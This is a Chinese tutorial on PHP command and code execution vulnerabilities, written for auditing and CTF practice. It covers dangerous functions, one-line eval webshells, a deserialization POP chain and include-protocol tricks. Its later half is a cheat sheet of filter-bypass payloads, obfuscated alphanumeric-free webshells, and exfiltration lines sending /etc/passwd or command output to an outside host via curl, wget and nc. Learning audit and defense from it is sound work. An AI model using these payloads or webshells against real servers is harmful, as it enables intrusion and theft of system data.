PHP审计中的命令、代码执行函数

命令执行漏洞

当应用程序将用户可控制的数据，未经充分验证或过滤，直接传递给能够执行系统命令/程序的函数时，所引发的安全漏洞，命令的执行在操作系统层面,比如执行Shell命令（如ls，whoami，ipconfig等）。该漏洞的危害等级属于（高危/严重）级别。其直接的影响包括服务器完全沦陷：获取Shell，控制整个服务器。

PHP中的核心命令执行函数

执行外部程序的函数

system()

描述：执行外部程序，并显示输出。 

原型：string system ( string $command [, int &$return_var ] )，其中$command是必需的字符串参数，表示要执行的系统命令（如"ls -l"），而‌[, int &$return_var ]是一个可选的引用参数，$return_var参数用于接收命令执行后的状态码（0 表示成功，非零表示失败）

exec()

描述：执行一个外部程序。 

原型：string exec ( string $command [, array &$output [, int &$return_var ]] ) 

行为：执行命令，但不会直接输出结果。可以将输出按行存储到数组$output中。返回最后一行输出。如果命令执行失败，返回FALSE。

shell_exec() 

描述：通过shell环境执行命令，并将完整的输出以字符串返回。 

原型：string shell_exec ( string $cmd ) 

行为：执行命令，并返回输出的全部字符串。如果没有显示的输出或错误，返回NULL。

passthru()

描述：执行外部程序并显示原始输出。 

原型：void passthru ( string $command [, int &$return_var ] ) 

行为：直接输出命令的原始结果，常用于执行二进制数据（如图像、音频）的命令。不返回值，但可以通过$return_var获取退出状态码。

进程控制函数

proc_open()

描述：执行一个命令，并且打开用于输入/输出的文件指针。 

原型：resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) 

行为：此函数非常强大，可以控制进程的输入、输出、错误流，还可以指定工作目录和环境变量。返回一个表示进程的资源类型，失败返回FALSE。

popen()

描述：打开一个指向进程的管道。 

原型：resource popen ( string $command , string $mode )  

行为：打开一个管道，用于读取或写入命令的输入/输出。返回一个文件指针，可以像操作文件一样进行读写。使用pclose()关闭。

其他可能涉及命令执行的函数

mail()

描述：发送邮件。 

原型：bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) 

行为：当使用sendmail作为邮件发送程序时，$additional_parameters参数可能被用来向sendmail传递参数，如果用户能够控制该参数，则可能注入命令。因此，使用此函数时，应对$additional_parameters进行严格的过滤。

反引号运算符 `

描述：反引号（`）内的字符串会被作为shell命令执行，并且返回输出（与shell_exec()相同）。

总结

PHP中可执行命令的函数众多，从直接的system()到间接的mail()，从显式调用到通过回调函数执行。了解这些函数得作用与执行方式是渗透测试必要技术。同时也是代码审计的重要手段。

命令执行漏洞快速理解

首先搭建一个php运行环境，可以下载phpstudy一键部署。安装之后是这样的如下图：

然后进行如下配置之后，就可以启动服务器了。

如下这样表示应用启动成功。

命令执行函数对比

我们在网站根目录下创建一个目录execphp，然后新建一个php文件exec.php，代码就这样：<?php system("dir"); ?> 直接执行dir命令看看效果：

执行了dir命令，并且返回了执行结果，在看看其他函数的执行效果。

使用exec函数执行系统命令之后，却看不到结果。

这也是exec与system函数的最大的区别，exec函数执行之后会返回结果，但是不会显示的输出结果，要输出结果需要显示的输出。

如下图：

同样的shell_exec函数也是如此：

在这种情况下的命令执行，因为无返回的情况，可能导致判断错误，认为不存在漏洞。这在CTF中非常常见。这几个常见的命令执行函数的结果对比如下：

反引号`

其作用是直接将反引号包裹得内容当成系统命令来执行：它也不会直接输出结果，而是返回执行得结果，需要显示的将结果输出。

proc_open() 和popen()

proc_open()基础语法与参数

resource proc_open (    string $command,                 // 要执行的命令    array $descriptorspec,           // 描述符规范    array &$pipes,                   // 管道引用    string $cwd = null,              // 工作目录    array $env = null,               // 环境变量    array $other_options = null      // 其他选项)

使用如下，稍显复杂：proc_open通常不在禁用列表中，可用来绕过disable_functions限制

popen() - 简化的进程管道

popen()基础语法

resource popen (     string $command,  // 要执行的命令    string $mode      // 模式：'r' 读 / 'w' 写)

最简单的使用如下，它也是无法直接输出命令结果，需要显示的输出执行结果。

php中的代码执行

代码执行与命令执行的核心区别在于攻击向量与执行方式：代码执行是指攻击者能够在目标环境中执行特定编程语言（如PHP）的代码，这些代码可进一步调用系统命令，从而间接实现系统控制；而命令执行则是攻击者直接注入并执行操作系统命令。两者虽然最终都可能获取系统权限，但代码执行通常需经过“代码解析→系统调用”的中间步骤，而命令执行则更直接地与操作系统交互。

eval() - 最危险的函数

它直接执行字符串中的PHP代码，同时它也是一句话木马中经常遇见的函数。比如下面这样

执行原理是这样的，它会将用户输入的内容当成php代码执行，那么原来的<?php eval($_GET['code']); ?> 就相当于

<?php eval(system('dir');); ?>  eval函数会执行system('dir'); 这个php代码，所以这里的格式需要PHP的语法格式。

所以一句话木马的原理也是这样。

比如常见的一句话木马内容：<?php eval($_POST['code']); ?>

其密码为code其实就是post的参数名字，可以是任意名字，而执行的代码将通过post的code参数传递，而其要执行的代码通常为反弹shell的代码。通过代码执行的中间步骤，转而执行系统命令。

也可以通过cookie的方式写入一句话：<?php @eval($_COOKIE['aaa']); ?>  如果使用了@符号，表示忽略报错信息。

assert() - 被滥用的调试函数

PHP 7之前assert可执行代码，与eval用法一样 assert($_GET['assert']);

create_function()

PHP 5.3 之前用于动态创建匿名函数的函数，其内部还是使用得eval函数进行的代码执行-已弃用

preg_replace() + /e修饰符（PHP<5.5）

/e修饰符使替换字符串作为PHP代码执行

$input = $_GET['name'];/e修饰符使替换字符串作为PHP代码执行preg_replace('(.*)/e', 'aaaa', $input);

比如输入?name=phpinfo()；就会将其当成php代码执行。现在的php版本已经弃用。

回调函数的执行漏洞

array_map() - 数组回调函数

该函数可以将参数内容当成函数名，并执行。如下图：

该函数也是CTF中比较常用的函数。比如这样使用：array_map($_GET['a'], array($_GET['b'])); 同样 输入 ?a=system&b=whoami 这样函数名，以及要执行的参数均可自有控制，更危险了。

call_user_func()-系列函数

其用法与上面的函数几乎一样：call_user_func($_GET['func'], $_GET['cmd']); 同样的第一个是函数名，第二个是函数执行的参数。

它还有call_user_func_array函数，效果一样，只是第二个参数类型是array类型

其他回调函数

usort() / uasort() - 排序回调， array_filter() / array_walk() ，register_shutdown_function()，register_tick_function()等等

比如usort() 它接受两个参数：待排序的数组和一个比较函数。比较函数通常是一个用户自定义的回调函数，用于定义元素间的排序规则，如果自定义的比较函数可控，同样可以造成命令执行。

回调函数其用法基本差异不大，当调用的函数名可控时，可能会造成代码执行，从而执行系统命令。

动态函数/变量执行

可变函数调用

变量函数名，这种方式其实属于一种代码的拼接过程，比如代码是这样的：

$func = $_GET['aaa']; $func($_GET['bbb']);

当用户get请求aaa=system&bbb=dir  上面的代码会将会变成这样：

$func=system 下一步将func变量替换成对应的值：所以第二行代码会变成：

system($_GET['bbb']);从而最终就变成了system(‘dir’);最终执行代码，从而执行系统命令。

这何尝不是一种写入木马的方式呢。

也可以通过对象调用方法的方式，进行组合比如：$object（对象）->{$_GET['method']}($_GET['arg']); 方法名可控，参数可控同样可以达成代码执行的效果，但是有前提是只能调用$object对象存在的方法。

${} 变量变量

这种写法是一个变量变量的赋值，比如${}，其通常不能直接执行代码，一般是：用户输入 → 变量变量 → 变量覆盖 → 代码执行的过程。但是在PHP 7.2+中，${...}() 这种语法被严格限制了。花括号内的表达式必须返回一个字符串类型的变量名，而不能直接是字符串字面量。所以其执行有一些条件限制。

比如现有代码：

// 假设原有代码$func="printf";$func('Hello');   // 正常输出: Hello//存在漏洞的代码：PHP 7.2 之前：可以正常工作${$_GET['a']}($_GET['b']); 

所谓变量变量就是用一个变量作为第二个变量的名字。从而导致第二个定义的变量是根据第一个变量的值进行变化的。

攻击过程：可覆盖 $func 比如输入?a=func&b=system，访问web之后：代码变成：$func = 'system';  $func('hello') ，最终变成 system('hello');那么如果就存在了执行命令的可能性。比如这里的hello变成其他命令，就完成了命令执行。当前的版本中其实现其实就是上面的可变函数。

反序列化漏洞的代码执行

unserialize() - 反序列化执行

php中的反序列化是将PHP 变量（包括对象）转换为可存储或传输的字符串的过程。而反序列化是将序列化的字符串还原为原始 PHP 变量（包括对象）的过程。

其核心函数是：serialize() - 序列化和unserialize() - 反序列化

先看看序列化serialize()

得到是一个字符串内容：a:7:{s:6:"string";s:5:"Hello";s:3:"int";i:123;s:5:"float";d:3.14;s:4:"bool";b:1;s:5:"array";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}s:4:"null";N;s:6:"object";O:3:"aaa":1:{s:2:"aa";i:10;}} 这一串看起来很复杂，但是有一定的规律：

在PHP中存在反序列化数据类型标识。s: - 字符串，i: - 整数，d: - 浮点数，b: - 布尔值，a: - 数组，O: - 对象，N: - null，C: - 自定义对象，r: - 引用 根据这个规则，那么这里的a:7 表示数组长度为7 刚好对应$data的长度。以此类推后面的比如s:6:"string";s:5:"Hello" 表示字符串长度6，值是string，解析来是字符串长度5，值是hello，就得到了$data的第一个元素。根据这个规则，大佬就可以手搓序列化数据。

那么反序列化就是将其还原成这个array的过程如下：

那么其代码执行的产生是怎样的。这就需要使用到反序列化过程中的魔术方法了

__sleep() - 序列化时自动调用以及__wakeup() - 反序列化时自动调用，当该方法中存在恶意操作，或者用户可控的代码，将会导致代码执行。比如在序列化或者反序列化过程中存在用户可控内容：

在序列化或者反序列化过程从自动调用上诉两个方法，从而实现了代码执行，最终执行系统命令。

POP链构造-利用反序列化

比如存在下面的服务端代码：通常也会使用一些魔术方法，比如 __destruct：__destruct 的执行时机并不总是确定的，可能在脚本结束、对象引用被设为 null、超出作用域或调用 unset() 时触发

<?php//有2个正常的类代码如下classA{    public $obj;    public function__destruct() {//__destruct 是 PHP 中的一个魔术方法，它在对象被销毁前自动调用$this->obj->test();    }}classB{    public $func;    public $param;    public functiontest() {//test方法中使用回调函数，调用$func()，参数$paramcall_user_func($this->func, $this->param);    }}$data = $_GET['data'];//get请求中获取内容unserialize($data);//反序列化data?>

看似正常的代码，却存在代码执行的潜在风险。比如直接反序列化用户的数据。比如下面的代码：

<?php//有2个正常的类代码如下classA{    public $obj;    public function__destruct() {//构造函数调用obj的test方法$this->obj->test();    }}classB{    public $func;    public $param;    public functiontest() {//test方法中使用回调函数，调用$func()，参数$paramcall_user_func($this->func, $this->param);    }}// 构造利用链$a = new A();$b = new B();$b->func = 'system';$b->param = 'ipconfig';$a->obj = $b;echo serialize($a);?>

在原有的代码基础上创建2个对象，然后精心构造一些内容，然后得到的就是一个对象A，其属性$obj =$b(B对象)，而$b对象的属性fuc和param分别是上面的代码执行的内容，然后输出这个$a对象的序列化数据如图：并且会在对象销毁时调用魔术方法__destruct()，然后执行到系统命令。

现在使用这个对象的序列化字符串，发送给pop.php：

达到命令执行的效果。看似没有创建对象，其实在反序列化过程中创建了对应的对象，同时会自动调用魔术方法。在PHP的反序列化漏洞利用过程中，很多都是通过魔术方法实现的。

文件包含导致的代码执行

include/require 系列

主要特点是会将包含的内容当成php代码执行。

_once变体：防重复包含‌include_once和require_once是安全增强版，确保同一文件在整个脚本生命周期中仅被加载一次。这在类定义、函数声明或常量注册中至关重要，可避免“Cannot redeclare class”等致命错误。

比如include函数，<?php  include($_GET['aaa']);  ?>直接这样包含一个用户输入的文件：

就使用当前目录下的exec.php文件，可以看到相当于访问了exec.php，直接将exec.php中的所有代码执行了一遍。有点类似这样：直接将包含的文件里面的内容复制到当前php的代码区执行。

当allow_url_include=On时，可以包含远程文件，即include('http://www.test.com/exec.php');可以这样包含。

包含中的特殊协议利用

data协议执行代码，服务端还是上面的例子，只是发送的请求改变了，比如发送的请求时data协议内容：aaa=data://text/plain,<?php system('ipconfig'); ?> 将用户输入的内容当成php代码执行。data:// 协议流和 http:// 一样，都受 allow_url_fopen 设置的控制，所以需要设置allow_url_include=On。

filter伪协议文件包含执行代码：还是使用最开的exec.php文件内容，使用filter伪协议读取文件内容：

php://input 读取POST数据

php://input 是一个只读流，允许你读取‌原始的 HTTP 请求体‌，这里将读取的内容交给include，达到代码执行的效果，但是其必须指定内容为<?php 格式才行。

expect:// 执行命令（需安装扩展）以及ZIP协议等

比如zip协议，只需要直接填写文件路径即可。代码的执行均是include实现。

小tips

在 PHP 中，eval，echo、print、isset、unset、include 等‌不是函数‌，而是‌语言结构‌（language constructs）。它们是 PHP 解析器内置的语法单元，‌不能被变量引用、不能作为回调、不能通过 call_user_func() 或动态调用‌。

什么意思呢？记得前面的回调函数call_user_func系列函数，通过回调的方式进行代码执行。如下：函数名和参数均可控的情况下：

我们输入eval看似没问题需要让其调用eval方法，在执行代码。但是它却报错了，提示第一个参数应该是一个有效的回调函数，这时候就需要用php中的函数方法，而不是语言结构方法。比如system函数，就可以成功。

以上就是命令执行和代码执行一些方式，他们的最主要的区别就是：

代码执行：在应用程序运行时环境中执行编程语言代码，比如php代码，java代码等，执行的是代码。代码执行范围更广，包含但不限于命令执行。

命令执行：直接调用操作系统层面的命令解释器（如bash、cmd、PowerShell）执行系统命令

而代码执行的最终目的也是为了执行的系统命令，那么最终也要执行系统命令的那些函数比如system(),exec()，从而执行系统命令。代码执行作为入口，命令执行作为攻击手段。

绕过技术

上面基本都是直接可用的情况，实际情况尤其是CTF中，基本上都有过滤的情况。下面是一些常见的绕过技巧

命令分隔符绕过

// 常用分隔符;        # 顺序执行，一般是linux才有效，windows无效|        # 管道，只显示后面命令结果||       # 前一个失败执行后一个&        # 后台执行，都会执行&&       # 前一个成功执行后一个`        # 反引号执行$(...)   # 命令替换\n       # 换行符 (0x0a)\r       # 回车符 (0x0d)

空格绕过

// 替代空格的字符${IFS}          # Linux中最常用$IFS$9          # $9是第九个参数，通常为空{cat,flag.txt}  # 大括号扩展<或<>           # 重定向符号%09             # TAB的URL编码%20             # 空格的URL编码%0a             # 换行的URL编码

大小写绕过

// 针对简单的大小写敏感过滤WhOaMiWHOAMIwHoAmI

双写绕过

一般是针对黑名单过滤，替换的情况

// 针对简单替换过滤whwhoamioami  // 如果过滤whoami为""，双写可绕过

反斜杠

// 插入反斜杠w\ho\am\iwho\amic\a\t /etc/passwd

通配符绕过（Linux）

比如？表示一个任意字符，*表示任意个任意字符

// ? 匹配单个字符/bin/cat /etc/passwd// 可替换为/bin/c?t /etc/passwd/???/c?t /etc/passwd// * 匹配多个字符cat /etc/passwd// 可替换为cat /etc/pass*cat /etc/pass??

变量拼接

通常需要对shell命令中的变量一定的了解，比如字符的截取技巧。如下

// bash变量拼接a=c;b=at;c=/etc/passwd;$a$b $ca=who;b=ami;$a$b// 使用环境变量${PATH:0:1}  // 获取PATH第一个字符${PWD:0:1}   // 获取当前目录第一个字符

编码绕过

通常需要配合管道符进行操作如下：

// Base64编码echo 'YL2V0Yy9wYXNzd2Q=' | base64 -d | bash`echo 'L2V0Yy9wYXNzd2Q=' | base64 -d`// Hex编码echo '636174202f6574632f706173737764' | xxd -r -p | bash

空变量绕过

主要是利用的是当一个变量未定义时，其默认为空

// $a未定义时为空cat$atest.txt    // 相当于 cat test.txtwho$@ami         // $@为空who${x}ami       // x未定义

引号绕过

// 单引号、双引号c'a't /etc/passwdc"a"t /etc/passwdc'a"t' /etc/passwd

反斜杠换行绕过

// 利用\在末尾可以连接下一行ca\t /etc/passwd

内联执行绕过

// 使用$()或``内联执行echo $(whoami)echo `whoami`

无回显绕过技巧

当命令执行没有回显的时候，这时候就需要一些其他方法来判断了，与SQL注入一样，同样存在延时的判断方法。

时间盲注

// 通过sleep判断命令是否执行whoami && sleep 5ping -c 4 127.0.0.1

比如使用ping的方式，会通常会有几秒钟的延时

DNS外带数据

其实就是将命令执行的结果发送给指定的服务器，在自己指定的服务器上接收命令执行的结果

// Linuxcurl `whoami`.test.comping -c 1 `whoami`.test.comnslookup `whoami`.test.com// 使用digdig `whoami`.test.com

HTTP外带数据

同DNS类似其实就是将命令执行的结果发送给指定的服务器，在自己指定的服务器上接收命令执行的结果

// 使用curl/wgetcurl http://test.com/$(whoami)wget http://test.com/$(cat /etc/passwd|base64)// 使用ncwhoami | nc test.com 4444

文件写入外带

外带原理均一样，通过将数据发送到其他地方，从其他服务器获取执行结果

// 写入web目录再访问whoami > /var/www/html/result.txtcat /etc/passwd > /tmp/result && curl -X POST -d @/tmp/result http://test.com

Windows命令分隔符

命令分隔符%0a    // 换行%0d    // 回车|      // 管道||     // 或&      // 按位与（都会执行）&&     // 与（前成功执行后）空格绕过whoamiwho^ami      // ^转义who"ami      // 双引号who'e'x'e    // 单引号who%20ami    // URL编码空格路径绕过// 短文件名C:\Progra~1\test.exe// 通配符type c:\*.txt// UNC路径\\127.0.0.1\c$\windows\system32\cmd.exe

无字母数字Webshell

使用^异或生成字符串以及通过取反生成字符串，其实现原理：每个字符通过 ASCII 码进行按位异或操作

// 使用^异或生成字符串    // 生成'system'字符串    $_ = '@@@@@@' ^ '3934%-';    $_($_GET['cmd']);;

比如下面这样：首先通过异或的方式获得可执行命令或者代码的字符串，再通过可变函数或者变量变量的方式进行执行，完成命令调用。

那么可以使用如下通用代码，自定义字符串，符号，生成想要的字符串。

取反生成

使用~取反，其核心原理也是通过操作字符的ASCII 码完成。

其核心思路是：‌1.目标字符串分析-即需要得到的目标字符串   2.‌取反操作-对目标字符串的每个字符的ASCII值按位取反（0变1，1变0），得到新的字节值（范围为0-255） 3.用八进制或十六进制表示取反后的字节：为了不使用英文字母，我们选择使用八进制转义序列（因为十六进制会包含字母）。将每个字节转换为八进制

比如这样：使用 \xxx 八进制格式表示每个取反后的字节

如果再结合上面的异或操作，就可以得到下面的类型：

<?php        // 生成'system'字符串$_ = '@@@@@@' ^ '3934%-';// 使用~取反$__ = ${~"\240\270\272\253"}['cmd'];$_ ($__);?>

依然可以执行

这样即可直接使用取反或者异或，也可多种方式结合，从而绕过waf拦截。

自增生成

主要利用++自增运算，其实也是操作的ASCII 码，主要从某个字符作为起点，然后++到想要的字符的ASCII 码位置即可。如果不需要任何英文字母，那么可以这样：当然其他类型的也可转换成字符串，但是只有对象和数组首字母会是英文字母。但是对象需要使用到英文字母。所以只有空数组可以达到效果：如下：

可以通过这样的方式得到字符A，在ASCII 码表A等65，所以需要其他字符可自增对应的次数即可。比如这样：

<?php$_=[];//定义空array数组$_=@"$_";//将其转换成字符串$_=$_['!'=='@'];//得到字符串的索引为0的字符--A$______=$_;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//得到S$___ =$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;//得到Y$____=$___;$____++;//得到T$_____=$______;$_____++;$_____++;$_____++;$_____++;//等到E$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;//M$______ =$_.$__.$___.$____.$_____.$______;//组合成system$______('dir');?>

那么又可以执行代码了，又可以结合其他方式，可自行尝试。

多层编码绕过

比如Base64 + URL编码，属于是linux bash语法的绕过，比如：

// Base64 + URL编码echo%20%27%59%32%56%6f%64%47%46%6b%5a%58%4a%68%62%58%42%76%63%6e%52%70%62%6d%64%68%64%47%56%6b%49%47%5a%70%62%47%56%66%5a%32%39%76%61%32%6c%6c%63%79%41%3d%3d%27%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68//url解码之后echo 'Y2F0IC9ldGMvcGFzc3dkCg==' | base64 -d | bash

在命令行执行如下：

通常情况下需要根据实际情况，采取对应的绕过方式，很多的绕过方法不论是在注入，或者命令执行，具有通用性，比如注释绕过空格等等。